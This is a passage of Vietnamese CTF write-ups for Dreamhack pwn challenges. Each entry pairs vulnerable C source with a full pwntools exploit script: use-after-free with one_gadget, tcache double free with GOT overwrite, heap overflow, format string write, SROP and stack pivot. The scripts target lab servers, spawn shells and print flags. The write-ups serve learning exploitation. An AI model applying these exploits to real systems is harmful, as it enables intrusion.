log.info("leak: " + hex(leak))
flag = leak - 0x1538
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Addr: ', str(flag))
p.interactive()
```
> DH{d27721f1c8dd19d57e67f64cda6c7bca}
### reference
https://learn.dreamhack.io/270#5
---
## uaf_overwrite
- basic file check

- source:
```c
// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
```
- check ida

> **robot_func()**

> **human_func()**
- phân tích chút
- ở đây có 2 struct về Human và Robot (khá tương đồng nhau)
```c
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)(); //hàm thực thi
};
```
- còn BUG nằm ở đây:
```c
if (robot->fptr)
robot->fptr(); // thực thi đoạn code nếu trong fptr() có giá trị tồn tại
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
```
- thế điều ta cần là thay đổi fptr thành shell ---> one_gadget
- thêm 1 cái nữa là để fptr có giá trị thì mình sẽ setup từ thằng **human_func()**
- do **human_func()** và **robot_func()** cùng **malloc()** 1 size (0x20), lại không có xoá con trỏ sau khi **free()** ===> UAF vulnerability
- ta sẽ gọi thằng **human_func()** lên trước để setup one_gadget, rồi gọi thằng **robot_func()** là có shell
> biến weight không quan trọng
- trước tiên để leak libc cho one_gadget thì ta sẽ đi qua thằng **custom_func()**
- 1 BUG khác:
```c
custom[c_idx] = malloc(size); // không ràng buộc size ---> cho vào ubin
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) { //nếu idx >= 10 thì không free
free(custom[idx]);
custom[idx] = NULL;
```
- vậy thứ ta cần là tạo 1 chunk size 0x500 nhưng không **free()**, sau đó thêm 1 chunk đệm tránh gộp chunk rồi **free()** chunk đầu tiên
- sau đó **malloc()** lại lần nữa là có địa chỉ libc trong cái Data (ghi đè 1 byte tránh thay đổi toàn bộ libc)
- không cần DEBUG luôn =)))

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./uaf_overwrite_patched', checksec=False)
libc = ELF('./libc-2.27.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('host3.dreamhack.games', 11276)
else:
p = process(exe.path)
# GDB()
def human(data):
sla(b'> ',b'1')
sla(b'Weight: ',b'1')
sla(b'Age: ',str(data))
def robot():
sla(b'> ',b'2')
sla(b'Weight: ',b'1')
def custom(size,data,idx):
sla(b'> ',b'3')
sla(b'Size: ',str(size))
sa('Data: ',data)
sla(b'idx: ',idx)
custom(0x500,b'a',b'10') #idx=0 #ubin + not free
custom(0x500,b'b',b'0') #idx=1 #advoid consolidate and free idx0
sla(b'> ',b'3')
sla(b'Size: ',str(0x500))
sa('Data: ',b'c')
p.recvuntil(b'Data: ')
libc_leak = u64(p.recv(6)+b'\0\0')
info('libc leak: ' + hex(libc_leak))
libc.address = libc_leak - 0x3ebc63
info('libc base: ' + hex(libc.address))
sla(b'idx: ',b'10')
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
human(libc.address + one_gadget[2]) #change &human->age
robot() #execute robot->fptr()
p.interactive()
#DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}
```
>DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}
___
## tcache_dup
- basic file check

- source:
```c
// gcc -o tcache_dup tcache_dup.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[10];
void alarm_handler() {
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int cnt = 0;
initialize();
while (1) {
printf("1. Create\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create(cnt);
cnt++;
break;
case 2:
delete();
break;
default:
break;
}
}
return 0;
}
```
- phân tích BUG:
- không xoá con trỏ khi **free()**, đồng thời cho hàm **get_shell()** sẽ là mục tiêu của mình
- mục tiêu sẽ thực thi hàm đó
- tận dụng khả năng thực thi từ ``_hook`` nhưng phải cần leak libc, nhưng lại không thể hiển thị được nội dung chunk
---> đổi hướng sang ow GOT 1 hàm thành **get_shell()**
- ở đây ta sẽ chọn ``puts@got``
- đầu tiên ta sẽ trigger DBF, sửa chunk thành ``puts@got``
- sau đó **malloc()** cuối cùng là **get_shell()**

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./tcache_dup_patched', checksec=False)
libc = ELF('./libc-2.27.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*create+87
b*create+175
b*delete+91
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('host3.dreamhack.games', 21553)
else:
p = process(exe.path)
GDB()
def add(size,data):
sla(b'> ',b'1')
sla(b'Size: ',str(size))
sa(b'Data: ',data)
def delete(idx):
sla(b'> ',b'2')
sla(b'idx: ',str(idx))
add(0x20,b'aaaa')
delete(0)
delete(0)
add(0x20,p64(exe.got['puts']))
add(0x20,p64(exe.got['puts']))
add(0x20,p64(exe.sym['get_shell']))
p.interactive()
#DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}
```
>DH{8fb591cfc1a2e30d0a33d53ace8e4973d40c28a4eb8d6e20581a2e8bdd393a91}
---
## basic_heap_overflow
- basic file check

- source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
```
- từ source trên ta có thể thấy lỗi HOF nằm ngay hàm **scanf("%s")** khiến ta có thể overflow được thoải mái
- tận dụng điều đó ta sẽ thay đổi ``over->table()``
- từ ``over->table = table_func`` thành ``over->table = get_shell``
- với file 32-bits thì metadata là 0x8, tránh nhầm 0x10 trên 64-bits

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./basic_heap_overflow',checksec=False)
p = remote('host3.dreamhack.games',8948)
payload = b'a'*0x28 + p32(exe.sym['get_shell'])
p.sendline(payload)
p.interactive()
#DH{f1c2027b0b36ee204723079c7ae6c042}
```
>DH{f1c2027b0b36ee204723079c7ae6c042}
---
## pwn-library
- basic file check

- source:
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
struct bookstruct{
char bookname[0x20];
char* contents;
};
__uint32_t booksize;
struct bookstruct listbook[0x50];
struct bookstruct secretbook;
void booklist(){
printf("1. theori theory\n");
printf("2. dreamhack theory\n");
printf("3. einstein theory\n");
}
int borrow_book(){
if(booksize >= 0x50){
printf("[*] book storage is full!\n");
return 1;
}
__uint32_t select = 0;
printf("[*] Welcome to borrow book menu!\n");
booklist();
printf("[+] what book do you want to borrow? : ");
scanf("%u", &select);
if(select == 1){
strcpy(listbook[booksize].bookname, "theori theory");
listbook[booksize].contents = (char *)malloc(0x100);
memset(listbook[booksize].contents, 0x0, 0x100);
strcpy(listbook[booksize].contents, "theori is theori!");
} else if(select == 2){
strcpy(listbook[booksize].bookname, "dreamhack theory");
listbook[booksize].contents = (char *)malloc(0x200);
memset(listbook[booksize].contents, 0x0, 0x200);
strcpy(listbook[booksize].contents, "dreamhack is dreamhack!");
} else if(select == 3){
strcpy(listbook[booksize].bookname, "einstein theory");
listbook[booksize].contents = (char *)malloc(0x300);
memset(listbook[booksize].contents, 0x0, 0x300);
strcpy(listbook[booksize].contents, "einstein is einstein!");
} else{
printf("[*] no book...\n");
return 1;
}
printf("book create complete!\n");
booksize++;
return 0;
}
int read_book(){
__uint32_t select = 0;
printf("[*] Welcome to read book menu!\n");
if(!booksize){
printf("[*] no book here..\n");
return 0;
}
for(__uint32_t i = 0; i<booksize; i++){
printf("%u : %s\n", i, listbook[i].bookname);
}
printf("[+] what book do you want to read? : ");
scanf("%u", &select);
if(select > booksize-1){
printf("[*] no more book!\n");
return 1;
}
printf("[*] book contents below [*]\n");
printf("%s\n\n", listbook[select].contents);
return 0;
}
int return_book(){
printf("[*] Welcome to return book menu!\n");
if(!booksize){
printf("[*] no book here..\n");
return 1;
}
if(!strcmp(listbook[booksize-1].bookname, "-----returned-----")){
printf("[*] you alreay returns last book!\n");
return 1;
}
free(listbook[booksize-1].contents);
memset(listbook[booksize-1].bookname, 0, 0x20);
strcpy(listbook[booksize-1].bookname, "-----returned-----");
printf("[*] lastest book returned!\n");
return 0;
}
int steal_book(){
FILE *fp = 0;
__uint32_t filesize = 0;
__uint32_t pages = 0;
char buf[0x100] = {0, };
printf("[*] Welcome to steal book menu!\n");
printf("[!] caution. it is illegal!\n");
printf("[+] whatever, where is the book? : ");
scanf("%144s", buf);
fp = fopen(buf, "r");
if(!fp){
printf("[*] we can not find a book...\n");
return 1;
} else {
fseek(fp, 0, SEEK_END);
filesize = ftell(fp);
fseek(fp, 0, SEEK_SET);
printf("[*] how many pages?(MAX 400) : ");
scanf("%u", &pages);
if(pages > 0x190){
printf("[*] it is heavy!!\n");
return 1;
}
if(filesize > pages){
filesize = pages;
}
secretbook.contents = (char *)malloc(pages);
memset(secretbook.contents, 0x0, pages);
__uint32_t result = fread(secretbook.contents, 1, filesize, fp);
if(result != filesize){
printf("[*] result : %u\n", result);
printf("[*] it is locked..\n");
return 1;
}
memset(secretbook.bookname, 0, 0x20);
strcpy(secretbook.bookname, "STOLEN BOOK");
printf("\n[*] (Siren rangs) (Siren rangs)\n");
printf("[*] Oops.. cops take your book..\n");
fclose(fp);
return 0;
}
}
void menuprint(){
printf("1. borrow book\n");
printf("2. read book\n");
printf("3. return book\n");
printf("4. exit library\n");
}
void main(){
__uint32_t select = 0;
printf("\n[*] Welcome to library!\n");
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while(1){
menuprint();
printf("[+] Select menu : ");
scanf("%u", &select);
switch(select){
case 1:
borrow_book();
break;
case 2:
read_book();
break;
case 3:
return_book();
break;
case 4:
printf("Good Bye!");
exit(0);
break;
case 0x113:
steal_book();
break;
default:
printf("Wrong menu...\n");
break;
}
}
}
```
- dựa vào source, ta thấy có hàm ẩn **steel_book()** có khả năng đọc file
- ngoài ra còn có struct:
```c
struct bookstruct{
char bookname[0x20];
char* contents;
```
- idea là "**mượn**" 1 cuốn bất kì, "**trả**" lại cuốn sách, "**trộm**" flag.txt rồi "**đọc**"

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./library', checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('host3.dreamhack.games',16863 )
else:
p = process(exe.path)
# GDB()
# flag = b'/home/pwnlibrary/flag.txt'
flag = b'flag.txt'
def borrow(idx):
sla(b'menu : ',b'1')
sla(b'borrow? : ',str(idx))
def read(idx):
sla(b'menu : ',b'2')
sla(b'read? : ',str(idx))
def ret():
sla(b'menu : ',b'3')
def steel(size):
sla(b'menu : ',str(0x113))
sla(b'book? : ',flag)
sla(b'(MAX 400) : ',str(size))
borrow(1)
ret()
steel(0x100)
read(0)
p.interactive()
#DH{0fdbcef449355e5fb15f4a674724a3c8}
```
>DH{0fdbcef449355e5fb15f4a674724a3c8}
---
## Format String Bug
- basic file check

- source:
```c
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
```
- ở đây sẽ có lỗi FMTSTR, ta sẽ cần ghi đè giá trị '1337' vào địa chỉ của biến **changeme**
- nhưng vì PIE bật nên ta cần leak địa chỉ của exe_base trước
- thì local lấy địa chỉ base ở %15 (**main+0**)

- nhưng khi lên server thì ở đó lại không phải là địa chỉ exe
- nên làm 1 đoạn code nhỏ brute để xem đâu là địa chỉ exe
```python
for i in range(6,16):
p.sendline(f'%{i}$p')
p.recvline()
```
- thì thấy là ở %8 và %9 có địa chỉ exe

>offset 0x940 và 0x730
- , ta test DEBUG động

- là địa chỉ ``__libc_csu_init`` và ``_start``
- việc còn lại là fmtstr như bth

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./fsb_overwrite',checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',15968)
# gdb.attach(p,gdbscript='''
# b*main+72
# c
# ''')
# input()
# for i in range(6,16):
# p.sendline(f'%{i}$p')
# p.recvline()
p.sendline(b'%9q$p')
exe_leak = int(p.recvline()[:-1],16)
exe.address = exe_leak - exe.sym['_start']
log.info("exe leak: " + hex(exe_leak))
log.info("exe base: " + hex(exe.address))
changeme = exe.sym['changeme']
log.info("change me: " + hex(changeme))
payload = b'%1337c%8$hn'
payload = payload.ljust(0x10,b'\0')
payload += p64(changeme)
p.sendline(payload)
p.interactive()
#DH{b283dec57b17112a4e9aa6d5499c0f28}
```
>DH{b283dec57b17112a4e9aa6d5499c0f28}
---
## SigReturn-Oriented Programming
- basic file check

- source:
```c
// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
```
- rõ ràng đây là bài SROP
- check '/bin/sh\0'

> chưa có chuỗi '/bin/sh\0'
- vậy điều ta cần là đưa chuỗi '/bin/sh\0' vào 1 địa chỉ rw_section
- sau đó syscall 0xf
- ta sẽ dùng hàm **read** để nhập vào chuỗi '/bin/sh\0'
- nhưng cần setup thanh ghi ``$rsi`` là địa chỉ rw_section
- thanh ghi ghi ``$rdi`` là fd (file descriptor) = 0
- sau đó SROP

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./srop',checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',11152)
# gdb.attach(p,gdbscript='''
# b*main+36
# c
# ''')
# input()
syscall = 0x00000000004004ec
binsh = 0x0000000000601a00
pop_rdi = 0x0000000000400583
pop_rax_sys = 0x00000000004004eb
pop_rsi_r15 = 0x0000000000400581
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload = b'a'*24
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(binsh) + p64(0)
payload += p64(exe.sym['read'])
payload += p64(pop_rax_sys) + p64(0xf)
payload += bytes(frame)
p.send(payload)
sleep(1)
p.send(b'/bin/sh\0')
p.interactive()
#DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}
```
>DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}
---
## Stupid GCC
- source:
```c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
uint8_t v1 = 0;
int v2 = 0;
char v3[31];
uint16_t v4[10]={0,};
while (v4[v1] < UINT16_MAX && v1 < 10) {
v1++;
printf("v4[%d]: %p\n", v1, &v4[v1]);
v2 += v1;
if (v2 > 10000) {
FILE *fp = fopen("/flag.txt", "r");
fgets(v3, 31, fp);
fclose(fp);
fp = fopen("/home/stupid_gcc/flag.txt", "w");
fwrite(v3, 31, 1, fp);
fclose(fp);
return 0;
}
}
return 0;
}
```
- bài này BUG nằm ở cách ta compile source
- thì qua source ta thấy muốn có flag, phải thoả mãn ``if = True`` (v2>10000)
- nhưng hoàn toàn không thể nào nếu compile rồi run file chạy bình thường 🥲
- nên ta sẽ dùng 1 option nhỏ trong lúc compile là ``-D``

- là option cho ta define lại biến
- idea: thay biến **v2** thành **v2=v2+=v1**

```
if(v2=v2+=v1>10000)
so sánh v1 > 10000 trước
trả về False --> 0 (do ở vòng lặp trên v1 không thể lớn hơn 10000 được)
tính v2=v2+=0
thực hiện v2+=0 trước (do thứ tự từ hình trên)
so sánh v2=v2
trả về True --> thoả in flag
```
- kết nối ssh và compile bằng những lệnh sau
``ssh -p <port> <username>@<host>``
``gcc a.c -D v2="v2=v2+=v1"``

> DH{49C66D3ED286B08FCD82C656E8}
---
## mmapped
- basic file check

- source:
```c
// Name: chall.c
// Compile: gcc -fno-stack-protector chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define FLAG_SIZE 0x45
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main(int argc, char *argv[]) {
int len;
char * fake_flag_addr;
char buf[0x20];
int fd;
char * real_flag_addr;
initialize();
fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
printf("%s", "input: ");
read(0, buf, 60);
mprotect(real_flag_addr, len, PROT_NONE);
write(1, fake_flag_addr, FLAG_SIZE);
printf("\nbuf value: ");
puts(buf);
munmap(real_flag_addr, FLAG_SIZE);
close(fd);
return 0;
}
```
- bài này BUG nằm ở hàm **write()**, trong khi đó biến **buf** khai báo là 32 bytes (0x20) nhưng **read()** lại tới 60 bytes ---> BOF tràn biến

- nhìn disassembler, ta thấy cách dữ liệu được gọi để call **mprotect** và **write**
- ban đầu cứ ngỡ BUG nằm trong hàm **mprotect** nhưng khi DEBUG kĩ thì vulnerability lại nằm ở **write**
```c
write(1, fake_flag_addr, FLAG_SIZE);
```
- như ta thấy fd = 1 ($rdi) không thay đổi, $rsi là địa chỉ biến **fake_flag_addr** và size = 0x45 là không thay đổi
- thứ ta có thể thay đổi là **fake_flag_addr**
- nhìn lại trên ``disas``, ta thấy ``[rbp-0x10]`` đưa vào $rax, rồi trước khi call **write** lại đưa vào $rsi ---> thay thành **real_flag_addr** tại $rbp-0x10

> input từ dd20, 🎯aim: dd50 ---> offset 0x30 = 48
``payload = b'a'*48 + p64(real_flag_addr)``

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',13373)
# gdb.attach(p,gdbscript='''
# b*main+244
# b*main+270
# b*main+292
# c
# ''')
# input()
p.recvuntil(b'address: ')
fake = int(p.recvline()[:-1],16)
log.info('fake flag addr: ' + hex(fake))
p.recvuntil(b'address: ')
buf = int(p.recvline()[:-1],16)
log.info('buf addr: ' + hex(buf))
p.recvuntil(b'address): ')
real = int(p.recvline()[:-1],16)
log.info('real fake addr: ' + hex(real))
payload = b'a'*48 + p64(real)
p.sendafter(b'input: ',payload)
p.interactive()
```
>DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}
---
## angry_darim
- source:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define JOKER "\x5f\x75\x43\x30\x6e\x5f\x00"
#define TRUE 1
#define FALSE 0
#define OK 0
#define ERRO -1
void howtouse (char *sw_name);
int __is_valid_dynamic_token (char *password);
void create_tag (char *id);
int main (int argc, char *argv[]) {
if (argc != 2) {
howtouse(argv[0]);
return ERRO;
}
if ( __is_valid_dynamic_token(argv[1]) ) {
create_tag(argv[0]);
printf("\n +-+ 무,무슨 ! +-+ \n");
} else {
printf("\n You r noob. \n");
}
return OK;
}
int __is_valid_dynamic_token (char *password) {
char *token = (char *) malloc(30*sizeof(char));
time_t time1;
memset((char *)token, '\0', 30);
sprintf(token, "%s_%d", JOKER, (int) time(&time1));
if (! strncmp(token, password, 18) ) {
return TRUE;
}
return FALSE;
}
void howtouse (char *sw_name) {
printf(" ----------- [%s] ----------- \n", sw_name);
printf(" ::. Usage: %s <DarimKey>\n\n", sw_name);
}
void create_tag (char *id) {
FILE *fd;
char *tag_name = (char *)malloc(24 * sizeof(char));
memset(tag_name, '\0', 24);
snprintf(tag_name,24, "./%s.tag", id);
fd = fopen(tag_name, "w");
if (fd != NULL) {
fprintf(fd, "당했다!\n");
fclose(fd);
} else {
printf("[!] 파일 열다가 오류 발생\n");
}
}
```
- nhìn source có lẽ nó sẽ check arg đi kèm khi run file
- bằng cách khởi tạo biến cố **time** lấy giá trị seed để win
- thì mình viết script dựa theo source và dùng ``process(["file_name","arg"])`` để nó chạy cùng lúc

- ra như thế là đúng như source muốn
- nhưng về format Flag:

>DARIM{seed}
- Ban đầu cứ tưởng là seed bình thường submit là ``DARIM{1694424988}`` thì lại sai
- nhưng thấy cấn cấn là seed từ hệ thống mỗi lần chạy tất nhiên khác nhau
- lại thấy là ``(There are two _ at the end, one must be deleted)``
- tưởng ``DARIM{_uC0n_1694424988}`` (sau khi bỏ đi '_') cũng sai

- NHƯNG khi thử ``DARIM{_uC0n_}`` thì lại được
- khác méo gì chỉ cần u64() cái ``JOKER = "\x5f\x75\x43\x30\x6e\x5f"`` này là xong

- chall hãm vc
- script:
```python
#!/usr/bin/python3
from pwn import *
import time
JOKER = "\x5f\x75\x43\x30\x6e\x5f"
context.binary = exe = ELF('./darim',checksec=False)
token = int(time.time())
pwd = JOKER + '_' + str(token)
p = process(['./darim',pwd])
p.interactive()
```
>``DARIM{_uC0n_}``
---
## MSNW
- basic file check

- source:
```c
/* msnw.c
* gcc -no-pie -fno-stack-protector -mpreferred-stack-boundary=8 msnw.c -o msnw
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MEONG 0
#define NYANG 1
#define NOT_QUIT 1
#define QUIT 0
void Init() {
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stderr, 0, _IONBF, 0);
}
int Meong() {
char buf[0x40];
memset(buf, 0x00, 0x130);
printf("meong 🐶: ");
read(0, buf, 0x132);
if (buf[0] == 'q')
return QUIT;
return NOT_QUIT;
}
int Nyang() {
char buf[0x40];
printf("nyang 🐱: ");
printf("%s", buf);
return NOT_QUIT;
}
int Call(int animal) {
return animal == MEONG ? Meong() : Nyang();
}
void Echo() {
while (Call(MEONG)) Call(NYANG);
}
void Win() {
execl("/bin/cat", "/bin/cat", "./flag", NULL);
}
int main(void) {
Init();
Echo();
puts("nyang 🐱: goodbye!");
return 0;
}
```
- theo source và run file thử, ta có thể nhận thấy program sẽ chạy luân phiên hàm **Meong()** và hàm **Nyang()**
```c
int Call(int animal) {
return animal == MEONG ? Meong() : Nyang();
}
void Echo() {
while (Call(MEONG)) Call(NYANG);
}
```
- ở hàm **Meong()** sẽ cho ta nhập vào bởi hàm **read()**
- ngược lại hàm **Nyang()** sẽ in ra những gì ta nhập
- ở đây không có FMTSTR (ida hiện là **puts** và run file không có BUG đó)
- nhưng bù lại có BOF trong hàm **Meong()**
(khởi tạo 0x130 nhưng read 0x132 ---> overflow 2 bytes)

>0x130 là chạm tới $rbp luôn rồi
>$rbp là 0x1 (là do return NOT_QUIT)
>``#define NOT_QUIT 1``
- nhưng ở đây ta sẽ k overflow 2 bytes đó, ngược lại ta sẽ leak địa chỉ tiếp theo là $rbp khi tới hàm **Nyang()** dựa vào hàm **puts** (in gặp NULL là dừng)

> thứ ta leak được là 1 địa chỉ stack
- vậy ta cần làm gì với địa chỉ stack đó bây giờ???
- ta sẽ lợi dụng khả năng ``leave ; ret`` từ program mà return về Win
- tức là stack sẽ trả về 1 nùi hàm Win

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./msnw',checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',20449)
# gdb.attach(p,gdbscript='''
# b*Meong+80
# b*Meong+85
# b*Meong+109
# b*Nyang+60
# b*Nyang+71
# c
# ''')
# input()
win = exe.sym['Win']
payload = b'a'*0x130
p.sendafter(b':',payload)
p.recvuntil(payload)
leak = u64(p.recv(6)+b'\0\0')
need = leak - 0x330
log.info("leaking: " + hex(leak))
payload = p64(win)*38 + p64(need)
p.sendafter(b':',payload)
p.interactive()
#DH{858850f130ca946b440b44fbc63b1fd63d85ad79fe8881b72bfe90bf37e11982}
```
>DH{858850f130ca946b440b44fbc63b1fd63d85ad79fe8881b72bfe90bf37e11982}
---
## Cherry
- basic file check

- source
```c
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
```
- check ida

>**main()**
- có hàm **win** ngoài ra lại có lỗi BOF
- nếu chỉ nhìn source thì chỉ biết được khả năng nhập chỉ 0x10 bytes
- nhưng thông qua ida ta dễ dàng thấy có thể overflow xuống biến **v7** (ở đây là size cho lần nhập thứ 2)
- nếu ta có thể set size cho lần nhập 2 thì dễ dàng ret2win
- ở lần đầu check 6 bytes 'cherry' thì padding đủ tới size là ghi thành '\x41'
- rồi từ đó tính offset

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
# p = process(exe.path)
p = remote('host3.dreamhack.games',8734)
# gdb.attach(p,gdbscript='''
# b*main+162
# b*main+185
# c
# ''')
# input()
p.sendafter(b'Menu: ',b'cherrycherry\x41')
payload = b'a'*0x12 + b'a'*8 + p64(exe.sym['flag'])
p.sendafter(b'cherry?: ',payload)
p.interactive()
#DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
```
>DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
---
## house_of_spirit
- basic file check

- source
```c
// gcc -o hos hos.c -fno-stack-protector -no-pie
